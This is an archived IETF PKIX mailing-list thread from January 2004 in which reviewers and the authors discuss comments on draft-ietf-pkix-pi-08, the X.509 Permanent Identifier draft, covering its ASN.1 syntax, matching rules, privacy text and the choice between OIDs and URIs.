> > 6.  Section 2: The statement 'It is an OID.' is redundant 
> and can be 
> > removed.
> 
> OK. Forgotten.
> 
> > 7.  Section 3: Contains a paragraph dealing with matching rules.  
> > Since this is no longer a field in the structure the 
> paragraph should 
> > be re-written to state what the one and only matching rule is.
> 
> See the response to the issue number 5.
> 
> > 8.  Appendix A.1:  New request, please put a reference to 
> the document 
> > containing the pkix module into the pkix document (i.e. 
> something like
> > "-- found in [RFC 3280]".  This prevents documents from importing 
> > modules that are lower in the standards process without having any 
> > explicit reference to them.
> 
> Added:
> 
> -- from [RFC 3280]
> 
> Before I update the document and place it on the web server, 
> I would be 
> grateful to get your response on these proposals.
> 
> Denis
> 
> > jim
> > 
> > 
> > 
> >>-----Original Message-----
> >>From: [e-mail]
> >>[mailto:[e-mail]] On Behalf Of 
> >>[e-mail]
> >>Sent: Wednesday, January 21, 2004 1:27 PM
> >>To: IETF-Announce:
> >>Cc: [e-mail]
> >>Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
> >>
> >>
> >>A New Internet-Draft is available from the on-line
> >>Internet-Drafts directories. This draft is a work item of the 
> >>Public-Key Infrastructure (X.509) Working Group of the IETF.
> >>
> >>	Title		: Internet X.509 Public Key 
> >>Infrastructure Permanent Identifier
> >>	Author(s)	: D. Pinkas, T. Gindin
> >>	Filename	: draft-ietf-pkix-pi-08.txt
> >>	Pages		: 12
> >>	Date		: 2004-1-21
> >>	
> >>This document define a new form of name, called permanent
> >>identifier, that may be included in the subjectAltName extension 
> >>of a public key certificate issued to an entity.
> >>The permanent identifier is an optional feature that may be used 
> >>by a CA to indicate that the certificate relates to the same 
> >>entity even if the name or the affiliation of that entity stored 
> >>in the subject or another name form in the subjectAltName extension 
> >>has changed.
> >>The subject name, carried in the subject field, is only unique 
> >>for each subject entity certified by the one CA as defined by the 
> >>issuer name field. Also, the new name form can carry a 
> >>name that is unique for each subject entity certified by a CA.
> >>
> >>A URL for this Internet-Draft is:
> >>http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
> >>
> >>
> >>To remove yourself from the IETF
> >>Announcement list, send a message to 
> >>ietf-announce-request with the word unsubscribe in the body 
> >>of the message.
> >>
> >>Internet-Drafts are also available by anonymous FTP. Login
> >>with the username "anonymous" and a password of your e-mail 
> >>address. After logging in, type "cd internet-drafts" and then
> >>	"get draft-ietf-pkix-pi-08.txt".
> >>
> >>A list of Internet-Drafts directories can be found in
> > 
> > http://www.ietf.org/shadow.html
> > or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> > 
> > 
> > Internet-Drafts can also be obtained by e-mail.
> > 
> > Send a message to:
> > 	[e-mail].
> > In the body type:
> > 	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
> > 	
> > NOTE:	The mail server at ietf.org can return the document in
> > 	MIME-encoded form by using the "mpack" utility.  To use this
> > 	feature, insert the command "ENCODING mime" before the "FILE"
> > 	command.  To decode the response(s), you will need "munpack" or
> > 	a MIME-compliant mail reader.  Different MIME-compliant 
> mail readers
> > 	exhibit different behavior, especially when dealing with
> > 	"multipart" MIME messages (i.e. documents which have been split
> > 	up into multiple messages), so check your local documentation on
> > 	how to manipulate these messages.
> > 		
> > 		
> > Below is the data which will enable a MIME compliant mail reader 
> > implementation to automatically retrieve the ASCII version of the 
> > Internet-Draft.
> > 
> > 
> 
> 



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NFo4ib004393; Fri, 23 Jan 2004 07:50:04 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NFo43U004392; Fri, 23 Jan 2004 07:50:04 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from host13.websitesource.com (host13.websitesource.com [209.239.35.152]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NFo2ib004378 for <[e-mail]>; Fri, 23 Jan 2004 07:50:03 -0800 (PST) (envelope-from [e-mail])
Received: from wchokhani (dpvc-138-88-161-20.res.east.verizon.net [138.88.161.20]) by host13.websitesource.com (8.12.10/8.12.10) with ESMTP id i0NFnvnY005916 for <[e-mail]>; Fri, 23 Jan 2004 10:49:57 -0500
From: "Santosh Chokhani" <[e-mail]>
To: <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Fri, 23 Jan 2004 10:49:54 -0500
Message-ID: <022501c3e1c8$8e3850b0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0NFo3ib004386
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Denis and Tom:

Section 3, Security Considerations, Page 4, paragraph 6 for the Section, of
the RFC contains description of how to match PI when identifier type is
absent.

One of the comparison is that of public keys.  While being a good
comparison, it can give you false results in case of CA key roll-over.  Do
you think it is worth mentioning.  The other match described in the same
epigraph for CA names may have problems also if there are any self-issued
certificates for key roll-over. 

-----Original Message-----
From: [e-mail] [mailto:[e-mail]] On
Behalf Of Denis Pinkas
Sent: Friday, January 23, 2004 8:14 AM
To: [e-mail]
Cc: 'Tom Gindin'; [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt



Jim,

Thank you for your document quality checking.

> Comments on draft -08.
> 
> 1.  Privacy concerns should be additionally outlined and covered in 
> the security considerations section.

This point is already covered. Here is the text :

    The permanent identifier allows organizations to create links
    between different certificates associated with an entity issued
    with or without overlapping validity periods.  This ability to link
    different certificates may conflict with privacy.  It is therefore
    important that a CA clearly disclose any plans to issue certificates
    which include a permanent identifier to potential subjects of those
    certificates.

> 2.  Section 1, para 9: Text here allows for an AA to have a unique URI 
> name.  Has been removed from the syntax.

You were so fast by replying to the publication, that I had not the time to 
advertise the main reason for issuing this new draft.

It is because the IESG objected to include URI in the document and that we 
(i.e. Tom and myself) have been unable to find a compromise with the IESG. 
So we have removed the URI option. You are correct: this sentence should 
have been deleted.

Done.

> 3.  Section 1, para 14:  Suggested text "both the same permanent 
> identifier value and the same Authority Identifer Value, then these". 
> (I find the use of identityType to be confusing since I consider this 
> to relate to type choice of IdentifierValue as well.)

"identityType" is not used. "identifierType" is used instead. The ASN.1 for
identifierType is :

     identifierType         OBJECT IDENTIFIER      OPTIONAL

The current text is:

    "When two certificates from different CA's contain both the same
    permanent identifier value and the same type of permanent
    identifier from a given Assigner Authority, then these
    certificates relate to the same entity, whatever the content of
    the DN or other subjectAltName components may be."

Changing "same type of permanent identifier" by "Authority Identifer Value" 
would not be appropriate. The identifierType does not simply identify the 
Authority, but also the type of identifier being used.

I would propose the following text:

    When two certificates from the same CA or from different CA's
    contain both the same permanent identifier value and the same
    identifier type value, then these certificates relate to the
    same entity, whatever the content of the DN or other subjectAltName
    components may be.

> 4.  Section 2:  What is the criteria for use of iA5String vs 
> uTF8String?

Good question. No good answer ! I thus propose to simplify and just have the

following:

PermanentIdentifier ::=  SEQUENCE {
     identifierValue          UTF8String,
     identifierType           OBJECT IDENTIFIER  OPTIONAL }

Here is the new text for UTF8.

    The IdentifierValue supports one syntax: UTF8String. UTF8String is
    variable length data of octets. The UTF8String syntax is used to
    express a string of characters from the Universal Character Set
    - UCS [ISO10646] (a superset of [Unicode]), encoded following the
    [UTF-8] algorithm. The UCS allows support of most of the world's
    writing systems using a single character set.

    Note that Unicode characters U+0000 through U+007F are the same as
    ASCII 0 through 127, respectively, and have the same single octet
    UTF-8 encoding.  Other Unicode characters have a multiple octet
    UTF-8 encoding.

> 5.  Section 2:  When doing comparisons do I need to cross compare 
> these two different value items?

Added the following:

    The following matching rule SHALL be used for the identifierValue:
    the rule evaluates to TRUE if and only if the code points [Unicode]
    of each of the characters is equal.

Also added the following references:

    [Unicode] The Unicode Consortium, "The Unicode Standard, Version
    3.2.0" is defined by "The Unicode Standard, Version 3.0"
    (Reading, MA, Addison-Wesley, 2000. ISBN 0-201-61633-5), as amended
    by the "Unicode Standard Annex #27: Unicode 3.1"
    (http://www.unicode.org/reports/tr27/) and by the "Unicode Standard
    Annex #28: Unicode 3.2" (http://www.unicode.org/reports/tr28/).

    [ISO10646] Universal Multiple-Octet Coded Character Set (UCS) -
    Architecture and Basic Multilingual Plane, ISO/IEC 10646-1: 1993.

    [UTF-8] RFC 2279. F. Yergeau. UTF-8, a transformation format of
    ISO 10646, January 1998.

> 6.  Section 2: The statement 'It is an OID.' is redundant and can be 
> removed.

OK. Forgotten.

> 7.  Section 3: Contains a paragraph dealing with matching rules.  
> Since this is no longer a field in the structure the paragraph should 
> be re-written to state what the one and only matching rule is.

See the response to the issue number 5.

> 8.  Appendix A.1:  New request, please put a reference to the document 
> containing the pkix module into the pkix document (i.e. something like
> "-- found in [RFC 3280]".  This prevents documents from importing 
> modules that are lower in the standards process without having any 
> explicit reference to them.

Added:

-- from [RFC 3280]

Before I update the document and place it on the web server, I would be 
grateful to get your response on these proposals.

Denis

> jim
> 
> 
> 
>>-----Original Message-----
>>From: [e-mail]
>>[mailto:[e-mail]] On Behalf Of 
>>[e-mail]
>>Sent: Wednesday, January 21, 2004 1:27 PM
>>To: IETF-Announce:
>>Cc: [e-mail]
>>Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
>>
>>
>>A New Internet-Draft is available from the on-line
>>Internet-Drafts directories. This draft is a work item of the 
>>Public-Key Infrastructure (X.509) Working Group of the IETF.
>>
>>	Title		: Internet X.509 Public Key 
>>Infrastructure Permanent Identifier
>>	Author(s)	: D. Pinkas, T. Gindin
>>	Filename	: draft-ietf-pkix-pi-08.txt
>>	Pages		: 12
>>	Date		: 2004-1-21
>>	
>>This document define a new form of name, called permanent
>>identifier, that may be included in the subjectAltName extension 
>>of a public key certificate issued to an entity.
>>The permanent identifier is an optional feature that may be used 
>>by a CA to indicate that the certificate relates to the same 
>>entity even if the name or the affiliation of that entity stored 
>>in the subject or another name form in the subjectAltName extension 
>>has changed.
>>The subject name, carried in the subject field, is only unique 
>>for each subject entity certified by the one CA as defined by the 
>>issuer name field. Also, the new name form can carry a 
>>name that is unique for each subject entity certified by a CA.
>>
>>A URL for this Internet-Draft is:
>>http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
>>
>>
>>To remove yourself from the IETF
>>Announcement list, send a message to 
>>ietf-announce-request with the word unsubscribe in the body 
>>of the message.
>>
>>Internet-Drafts are also available by anonymous FTP. Login
>>with the username "anonymous" and a password of your e-mail 
>>address. After logging in, type "cd internet-drafts" and then
>>	"get draft-ietf-pkix-pi-08.txt".
>>
>>A list of Internet-Drafts directories can be found in
> 
> http://www.ietf.org/shadow.html
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
> 	[e-mail].
> In the body type:
> 	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
> 	
> NOTE:	The mail server at ietf.org can return the document in
> 	MIME-encoded form by using the "mpack" utility.  To use this
> 	feature, insert the command "ENCODING mime" before the "FILE"
> 	command.  To decode the response(s), you will need "munpack" or
> 	a MIME-compliant mail reader.  Different MIME-compliant mail readers
> 	exhibit different behavior, especially when dealing with
> 	"multipart" MIME messages (i.e. documents which have been split
> 	up into multiple messages), so check your local documentation on
> 	how to manipulate these messages.
> 		
> 		
> Below is the data which will enable a MIME compliant mail reader 
> implementation to automatically retrieve the ASCII version of the 
> Internet-Draft.
> 
> 





Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NENEib000501; Fri, 23 Jan 2004 06:23:14 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NENE9L000500; Fri, 23 Jan 2004 06:23:14 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NENCib000487 for <[e-mail]>; Fri, 23 Jan 2004 06:23:12 -0800 (PST) (envelope-from [e-mail])
Received: from chandon.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id PAA16056; Fri, 23 Jan 2004 15:23:07 +0100 (MET)
Received: from chandon.edelweb.fr (chandon.edelweb.fr [193.51.14.162]) by edelweb.fr (nospam/1.7); Fri, 23 Jan 2004 15:23:07 +0100 (MET)
Received: (from peter@localhost) by chandon.edelweb.fr (8.11.7p1+Sun/8.11.7) id i0NEN5t26589; Fri, 23 Jan 2004 15:23:05 +0100 (MET)
Date: Fri, 23 Jan 2004 15:23:05 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
Cc: [e-mail], [e-mail]
X-Sun-Charset: US-ASCII
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

> Here is the new text for UTF8.
> 
>     The IdentifierValue supports one syntax: UTF8String. UTF8String is
>     variable length data of octets. The UTF8String syntax is used to
>     express a string of characters from the Universal Character Set
>     - UCS [ISO10646] (a superset of [Unicode]), encoded following the
>     [UTF-8] algorithm. The UCS allows support of most of the world's
>     writing systems using a single character set.
> 
>     Note that Unicode characters U+0000 through U+007F are the same as
>     ASCII 0 through 127, respectively, and have the same single octet
>     UTF-8 encoding.  Other Unicode characters have a multiple octet
>     UTF-8 encoding.
> 

I think you can simply remove all this.   



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NDEYib097779; Fri, 23 Jan 2004 05:14:34 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NDEY2l097778; Fri, 23 Jan 2004 05:14:34 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NDEVib097765 for <[e-mail]>; Fri, 23 Jan 2004 05:14:32 -0800 (PST) (envelope-from [e-mail])
Received: from clbull.frcl.bull.fr (IDENT:[e-mail] [129.182.8.31]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id OAA08958; Fri, 23 Jan 2004 14:21:57 +0100
Received: from bull.net (frcls4013.frcl.bull.fr [129.182.108.120]) by clbull.frcl.bull.fr (8.9.3/8.9.3) with ESMTP id PAA24617; Fri, 23 Jan 2004 15:09:36 +0100
Message-ID: <[e-mail]>
Date: Fri, 23 Jan 2004 14:14:21 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull SA.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0
X-Accept-Language: en-us, en, fr
MIME-Version: 1.0
To: [e-mail]
CC: "'Tom Gindin'" <[e-mail]>, [e-mail]
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
References: <005701c3e08e$9b392fe0$[e-mail]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Jim,

Thank you for your document quality checking.

> Comments on draft -08.
> 
> 1.  Privacy concerns should be additionally outlined and covered in the
> security considerations section.

This point is already covered. Here is the text :

    The permanent identifier allows organizations to create links
    between different certificates associated with an entity issued
    with or without overlapping validity periods.  This ability to link
    different certificates may conflict with privacy.  It is therefore
    important that a CA clearly disclose any plans to issue certificates
    which include a permanent identifier to potential subjects of those
    certificates.

> 2.  Section 1, para 9: Text here allows for an AA to have a unique URI
> name.  Has been removed from the syntax.

You were so fast by replying to the publication, that I had not the time to 
advertise the main reason for issuing this new draft.

It is because the IESG objected to include URI in the document and that we 
(i.e. Tom and myself) have been unable to find a compromise with the IESG. 
So we have removed the URI option. You are correct: this sentence should 
have been deleted.

Done.

> 3.  Section 1, para 14:  Suggested text "both the same permanent
> identifier value and the same Authority Identifer Value, then these".
> (I find the use of identityType to be confusing since I consider this to
> relate to type choice of IdentifierValue as well.)

"identityType" is not used. "identifierType" is used instead.
The ASN.1 for identifierType is :

     identifierType         OBJECT IDENTIFIER      OPTIONAL

The current text is:

    "When two certificates from different CA's contain both the same
    permanent identifier value and the same type of permanent
    identifier from a given Assigner Authority, then these
    certificates relate to the same entity, whatever the content of
    the DN or other subjectAltName components may be."

Changing "same type of permanent identifier" by "Authority Identifer Value" 
would not be appropriate. The identifierType does not simply identify the 
Authority, but also the type of identifier being used.

I would propose the following text:

    When two certificates from the same CA or from different CA's
    contain both the same permanent identifier value and the same
    identifier type value, then these certificates relate to the
    same entity, whatever the content of the DN or other subjectAltName
    components may be.

> 4.  Section 2:  What is the criteria for use of iA5String vs uTF8String?

Good question. No good answer ! I thus propose to simplify and just have the 
following:

PermanentIdentifier ::=  SEQUENCE {
     identifierValue          UTF8String,
     identifierType           OBJECT IDENTIFIER  OPTIONAL }

Here is the new text for UTF8.

    The IdentifierValue supports one syntax: UTF8String. UTF8String is
    variable length data of octets. The UTF8String syntax is used to
    express a string of characters from the Universal Character Set
    - UCS [ISO10646] (a superset of [Unicode]), encoded following the
    [UTF-8] algorithm. The UCS allows support of most of the world's
    writing systems using a single character set.

    Note that Unicode characters U+0000 through U+007F are the same as
    ASCII 0 through 127, respectively, and have the same single octet
    UTF-8 encoding.  Other Unicode characters have a multiple octet
    UTF-8 encoding.

> 5.  Section 2:  When doing comparisons do I need to cross compare these
> two different value items?

Added the following:

    The following matching rule SHALL be used for the identifierValue:
    the rule evaluates to TRUE if and only if the code points [Unicode]
    of each of the characters is equal.

Also added the following references:

    [Unicode] The Unicode Consortium, "The Unicode Standard, Version
    3.2.0" is defined by "The Unicode Standard, Version 3.0"
    (Reading, MA, Addison-Wesley, 2000. ISBN 0-201-61633-5), as amended
    by the "Unicode Standard Annex #27: Unicode 3.1"
    (http://www.unicode.org/reports/tr27/) and by the "Unicode Standard
    Annex #28: Unicode 3.2" (http://www.unicode.org/reports/tr28/).

    [ISO10646] Universal Multiple-Octet Coded Character Set (UCS) -
    Architecture and Basic Multilingual Plane, ISO/IEC 10646-1: 1993.

    [UTF-8] RFC 2279. F. Yergeau. UTF-8, a transformation format of
    ISO 10646, January 1998.

> 6.  Section 2: The statement 'It is an OID.' is redundant and can be
> removed.

OK. Forgotten.

> 7.  Section 3: Contains a paragraph dealing with matching rules.  Since
> this is no longer a field in the structure the paragraph should be
> re-written to state what the one and only matching rule is.

See the response to the issue number 5.

> 8.  Appendix A.1:  New request, please put a reference to the document
> containing the pkix module into the pkix document (i.e. something like
> "-- found in [RFC 3280]".  This prevents documents from importing
> modules that are lower in the standards process without having any
> explicit reference to them.

Added:

-- from [RFC 3280]

Before I update the document and place it on the web server, I would be 
grateful to get your response on these proposals.

Denis

> jim
> 
> 
> 
>>-----Original Message-----
>>From: [e-mail] 
>>[mailto:[e-mail]] On Behalf Of 
>>[e-mail]
>>Sent: Wednesday, January 21, 2004 1:27 PM
>>To: IETF-Announce:
>>Cc: [e-mail]
>>Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
>>
>>
>>A New Internet-Draft is available from the on-line 
>>Internet-Drafts directories. This draft is a work item of the 
>>Public-Key Infrastructure (X.509) Working Group of the IETF.
>>
>>	Title		: Internet X.509 Public Key 
>>Infrastructure Permanent Identifier
>>	Author(s)	: D. Pinkas, T. Gindin
>>	Filename	: draft-ietf-pkix-pi-08.txt
>>	Pages		: 12
>>	Date		: 2004-1-21
>>	
>>This document define a new form of name, called permanent 
>>identifier, that may be included in the subjectAltName extension 
>>of a public key certificate issued to an entity.
>>The permanent identifier is an optional feature that may be used 
>>by a CA to indicate that the certificate relates to the same 
>>entity even if the name or the affiliation of that entity stored 
>>in the subject or another name form in the subjectAltName extension 
>>has changed.
>>The subject name, carried in the subject field, is only unique 
>>for each subject entity certified by the one CA as defined by the 
>>issuer name field. Also, the new name form can carry a 
>>name that is unique for each subject entity certified by a CA.
>>
>>A URL for this Internet-Draft is: 
>>http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
>>
>>
>>To remove yourself from the IETF 
>>Announcement list, send a message to 
>>ietf-announce-request with the word unsubscribe in the body 
>>of the message.
>>
>>Internet-Drafts are also available by anonymous FTP. Login 
>>with the username "anonymous" and a password of your e-mail 
>>address. After logging in, type "cd internet-drafts" and then
>>	"get draft-ietf-pkix-pi-08.txt".
>>
>>A list of Internet-Drafts directories can be found in 
> 
> http://www.ietf.org/shadow.html 
> or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
> 
> 
> Internet-Drafts can also be obtained by e-mail.
> 
> Send a message to:
> 	[e-mail].
> In the body type:
> 	"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".
> 	
> NOTE:	The mail server at ietf.org can return the document in
> 	MIME-encoded form by using the "mpack" utility.  To use this
> 	feature, insert the command "ENCODING mime" before the "FILE"
> 	command.  To decode the response(s), you will need "munpack" or
> 	a MIME-compliant mail reader.  Different MIME-compliant mail
> readers
> 	exhibit different behavior, especially when dealing with
> 	"multipart" MIME messages (i.e. documents which have been split
> 	up into multiple messages), so check your local documentation on
> 	how to manipulate these messages.
> 		
> 		
> Below is the data which will enable a MIME compliant mail reader
> implementation to automatically retrieve the ASCII version of the
> Internet-Draft.
> 
> 




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJuLib077974; Thu, 22 Jan 2004 11:56:21 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MJuLYd077973; Thu, 22 Jan 2004 11:56:21 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av1-1-sn4.m-sp.skanova.net (av1-1-sn4.m-sp.skanova.net [81.228.10.116]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJuKib077964 for <[e-mail]>; Thu, 22 Jan 2004 11:56:20 -0800 (PST) (envelope-from [e-mail])
Received: by av1-1-sn4.m-sp.skanova.net (Postfix, from userid 502) id 5C48137E56; Thu, 22 Jan 2004 20:56:14 +0100 (CET)
Received: from smtp2-2-sn4.m-sp.skanova.net (smtp2-2-sn4.m-sp.skanova.net [81.228.10.182]) by av1-1-sn4.m-sp.skanova.net (Postfix) with ESMTP id 4AA4D37E4E for <[e-mail]>; Thu, 22 Jan 2004 20:56:14 +0100 (CET)
Received: from arport (t11o913p112.telia.com [213.64.28.112]) by smtp2-2-sn4.m-sp.skanova.net (Postfix) with SMTP id E189637E85; Thu, 22 Jan 2004 20:56:10 +0100 (CET)
Message-ID: <00c701c3e121$0ae3af90$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>, "'Denis Pinkas'" <[e-mail]>, "'Tom Gindin'" <[e-mail]>
Cc: <[e-mail]>
References: <005701c3e08e$9b392fe0$[e-mail]>
Subject: Re: I-D ACTION:draft-ietf-pkix-pi-08.txt
Date: Thu, 22 Jan 2004 20:50:50 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Well Jim,
The PI-draft is certainly an odd creature that has been in PKIX's
"custody" for now close to four(!) years.

A few comments to PI in general and some draft-08 specific.

Draft-08: identifierType  
  "The IdentifierType field, when present, is an OID which identifies 
   both the Assigner Authority and the type of that field. It is an OID"

The words "type of that field" has never been explained.  But we all
know exactly what the authors' mean don't we?  :-|

Draft-08: identifierType has, as you noted been reduced to only support
OIDs, probably due to the authors' belief that OIDs are more permanent.

However, the rest of the computer industry have no problems using URIs
making PI "incompatible" and "deviating".  A URI also have the
big advantage that it may point to a document.

I find this "obsession" with permanence wrong, because if a CA disappears,
its regitered DNS name is taken by somebody else, the certificates are
anaway no longer usable and names may indeed be reused. That is, OID or URI is a
deployment issue.  At best you can RECOMMEND the "serious"
implementer to use an OID.

PI-General: During the PI development serialNumber has become
the de-facto standard for keeping a permanent (or static which is
really more what we are talking about) identifier.

Anyway, PI-using relying party software have little reason to
bother about PI as the existing systems I know of simply does
not "decipher" certificates looking for the most "attractive"
name form(?), they just _assume_ that things are as the CP says. 
Most of these CAs also obey to Anders' nowadays (in)famous
 "best practice CA formula":

                   CA <=> Policy

which makes identifierType redundant and also eliminating the
need for additional Subject name forms like PI.

Anders

----- Original Message ----- 
From: "Jim Schaad" <[e-mail]>
To: "'Denis Pinkas'" <[e-mail]>; "'Tom Gindin'" <[e-mail]>
Cc: <[e-mail]>
Sent: Thursday, January 22, 2004 03:22
Subject: RE: I-D ACTION:draft-ietf-pkix-pi-08.txt



Comments on draft -08.

1.  Privacy concerns should be additionally outlined and covered in the
security considerations section.

2.  Section 1, para 9: Text here allows for an AA to have a unique URI
name.  Has been removed from the syntax.

3.  Section 1, para 14:  Suggested text "both the same permanent
identifier value and the same Authority Identifer Value, then these".
(I find the use of identityType to be confusing since I consider this to
relate to type choice of IdentifierValue as well.)

4.  Section 2:  What is the criteria for use of iA5String vs uTF8String?


5.  Section 2:  When doing comparisons do I need to cross compare these
two different value items?

6.  Section 2: The statement 'It is an OID.' is redundant and can be
removed.

7.  Section 3: Contains a paragraph dealing with matching rules.  Since
this is no longer a field in the structure the paragraph should be
re-written to state what the one and only matching rule is.

8.  Appendix A.1:  New request, please put a reference to the document
containing the pkix module into the pkix document (i.e. something like
"-- found in [RFC 3280]".  This prevents documents from importing
modules that are lower in the standards process without having any
explicit reference to them.

jim


> -----Original Message-----
> From: [e-mail] 
> [mailto:[e-mail]] On Behalf Of 
> [e-mail]
> Sent: Wednesday, January 21, 2004 1:27 PM
> To: IETF-Announce:
> Cc: [e-mail]
> Subject: I-D ACTION:draft-ietf-pkix-pi-08.txt
> 
> 
> A New Internet-Draft is available from the on-line 
> Internet-Drafts directories. This draft is a work item of the 
> Public-Key Infrastructure (X.509) Working Group of the IETF.
> 
> Title : Internet X.509 Public Key 
> Infrastructure Permanent Identifier
> Author(s) : D. Pinkas, T. Gindin
> Filename : draft-ietf-pkix-pi-08.txt
> Pages : 12
> Date : 2004-1-21
> 
> This document define a new form of name, called permanent 
> identifier, that may be included in the subjectAltName extension 
> of a public key certificate issued to an entity.
> The permanent identifier is an optional feature that may be used 
> by a CA to indicate that the certificate relates to the same 
> entity even if the name or the affiliation of that entity stored 
> in the subject or another name form in the subjectAltName extension 
> has changed.
> The subject name, carried in the subject field, is only unique 
> for each subject entity certified by the one CA as defined by the 
> issuer name field. Also, the new name form can carry a 
> name that is unique for each subject entity certified by a CA.
> 
> A URL for this Internet-Draft is: 
> http://www.ietf.org/internet-drafts/draft-> ietf-pkix-pi-08.txt
> 
> 
> To remove yourself from the IETF 
> Announcement list, send a message to 
> ietf-announce-request with the word unsubscribe in the body 
> of the message.
> 
> Internet-Drafts are also available by anonymous FTP. Login 
> with the username "anonymous" and a password of your e-mail 
> address. After logging in, type "cd internet-drafts" and then
> "get draft-ietf-pkix-pi-08.txt".
> 
> A list of Internet-Drafts directories can be found in 
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
[e-mail].
In the body type:
"FILE /internet-drafts/draft-ietf-pkix-pi-08.txt".

NOTE: The mail server at ietf.org can return the document in
MIME-encoded form by using the "mpack" utility.  To use this
feature, insert the command "ENCODING mime" before the "FILE"
command.  To decode the response(s), you will need "munpack" or
a MIME-compliant mail reader.  Different MIME-compliant mail
readers
exhibit different behavior, especially when dealing with
"multipart" MIME messages (i.e. documents which have been split
up into multiple messages), so check your local documentation on
how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIeGib075640; Thu, 22 Jan 2004 10:40:16 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MIeFLR075639; Thu, 22 Jan 2004 10:40:15 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from postmark.nist.gov (pushme.nist.gov [129.6.16.92]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIeCib075632 for <[e-mail]>; Thu, 22 Jan 2004 10:40:13 -0800 (PST) (envelope-from [e-mail])
